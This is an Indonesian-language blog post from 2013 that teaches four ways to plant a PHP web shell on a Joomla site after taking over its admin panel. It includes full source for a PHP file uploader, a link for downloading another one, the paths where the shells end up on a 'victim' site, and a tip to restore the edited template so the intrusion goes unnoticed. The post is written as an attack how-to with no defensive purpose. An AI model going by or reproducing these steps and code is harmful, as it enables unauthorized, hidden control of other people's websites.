IP

Rabu, 20 November 2013

4 Trik Cara Upload Shell di Joomla

hai ...., dah lama ga nulis di blog.
kali ini ane mo share sdikit bbrpa trik buat upload shell di CMS joomla. mungkin udah pada tau yaa.. kali aja ada yg belom tau, kaya newbie seperti ane.

okedeh, langsung ke tutorialnya aja.
pertama, yang pasti udah dapet akses ke admin panel joomla nya. ane ga bahas gimana cara dapetin akses admin nya. entah SQLi, jumping, symlink, ,etc.

CARA 1
masuk ke menu site > global configuration. trus klik bagian system
perhatikan bagian media setting
trus di sub bagian 
[+]Legal Extensions (File Types) kita tambahkan ekstensi php kedalamnya
[+]Restrict Uploads --> pilih NO
[+]Check MIME Types --> pilih NO
[+]Legal Image Extensions (File Types) kita tambahkan ekstensi php kedalamnya
[+]Legal MIME Types --> tambahin image/php




[Image: jom15_zps5d089831.png]
klo udah save. stelah itu..
pergi ke media manager (site > media manager) upload shellnya disitu.

[Image: jom13_zps46408fd5.png]
udah ke upload :D , lokasi shell ada di http://korban.com/images/namashell.php

[Image: jom14_zps9182e03f.png]


CARA 2
secara konsep sih sama, disni ane dpetnya joomla versi 1.5.18 , klo versi yg laen.. silakan menyesuaikan. :p
Klik menu Extension > template manager

[Image: jom1_zps8519f91b.png]
trus pergi di bagian administrator.

[Image: jom2_zpsd4100d72.png]
kemudian seleksi nama template admin yg aktif, trus klik edit. klo udah pilih lagi edit html.
kan udah muncul tuh editornya, tinggal kita sisipin aja uploader.
buat yg belom punya uploader, bisa ngambil disini -->http://fake.hol.es/123/shell/simple_uploader.txt
ato ini


<?php
echo '<b>E1nzte1N uploader</b>';
echo '<b><br><br>'.php_uname().'<br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES Dab!!!</b><br><br>'; }
else { echo '<b>JANCOOK !!! Upload GAGAL !!!</b><br><br>'; }
}
?>
mari kita sisipin uploadernya, ane taro dibawah aja.

[Image: jom4_zps8c473e97.png]
klo udah. save aja.
sukses. dan uploader kita udah nongol dibawah :) tinggal kita upload shell kita.

[Image: jom5_zpsc119e561.png]
setelah upload shell, kita coba akses shell kita. letak file yg udah di upload, itu ada dihttp://korban.com/administrator/namashell.php

[Image: jom6_zpsb46f9ae3.png]
*kalo ane : biasanya ane balikin lg template admin td ke semula, yg ga ada uploadernya. ane remove lg script uploadernya. biar ga ketauan.
:)

CARA 3
masi dlm masalah edit mengedit template. kali ini kita pake cara edit template yg laen.
kita ke extension > template manager. kali ini kita edit template site nya. tp bukan yg sedang dipakai. (klo yg template admin td kan nyari template yg lg aktif)
skrng kita pilih template site yg sedang tidak aktif. (tanda kalo template itu aktif, ada tanda bintangnya)
klik aja nama template yg ga aktif. misal: beez
trus pilih edit html. klo udah muncul editornya, langsung dah kita replace dengan script shell kita

[Image: jom7_zpsde233746.png]
klo udah silakan disave. nah.. skrng kita coba menuju shell kita.
letak posisi shell uda ane jelasin di gambar diatas. yaitu :http://korban.com/templates/beez/index.php

[Image: jom8_zpsa2810d4a.png]
:)


lagi lagi pake template.
kali ini kita coba upload template baru yg udah kita sisipin shell.
cari aja sembarang template joomla, sesuaiin kompatibilitasnya dg versi joomlanya.
contoh : ane download template siteground. klo udah, ekstrak aja templatenya. trus masukin shell kita. terserah mo ditaro dimana
misal: di dlm folder images/namashell.php

[Image: jom9_zps0a6b1c1f.png]
klo udah kita archive lg templatenya. bentuknya *.zip ya..
klo udah oke, kita upload ke korban.
masuk ke extension> install/uninstall trus upload dah, template "evil" kita td :p
setelah sukses upload. skrng kita cek, dimana lokasi shell kita. masuk ke template manager. trus klik nama template yg baru saja kita tambahin.
ane td install template siteground. liat bagian kanan, ada parameters.

[Image: jom10_zpscc71a5bb.png]
The parameter file /templates/siteground-j15-196/params.ini is writable!
bagian merah, itu lokasi shell kita. tinggal kita sesuaiin dimana kita naro shellnya td. klo ane td masukin di folder images. 
jd lokasi shellnya ada di http://korban.com/templates/siteground-j...ashell.php

[Image: jom11_zpsa71b6771.png]
:)

hmmhh.. baru segitu cara ane,
mari diskusi disini, cara cara yg laennya. yang punya trik laen (kalo mau sih) komen juga dimari.
soalnya pernah juga nemu site yg kgak bisa pake ke empat cara diatas.

okedeh, sekian tutorial cupu bin jadul. dr ane.

Tambahan dr abang Sohai , upload shell di joomla versi 2.5.x


[Image: 309927_556901724320519_1516587677_n.jpg]


[Image: 550018_556901907653834_342723693_n.jpg]


[Image: 408430_556901934320498_1928638876_n.jpg]


[Image: 73394_556901954320496_438723634_n.jpg]


[Image: 309953_556901974320494_2097353767_n.jpg]

Tidak ada komentar :

Posting Komentar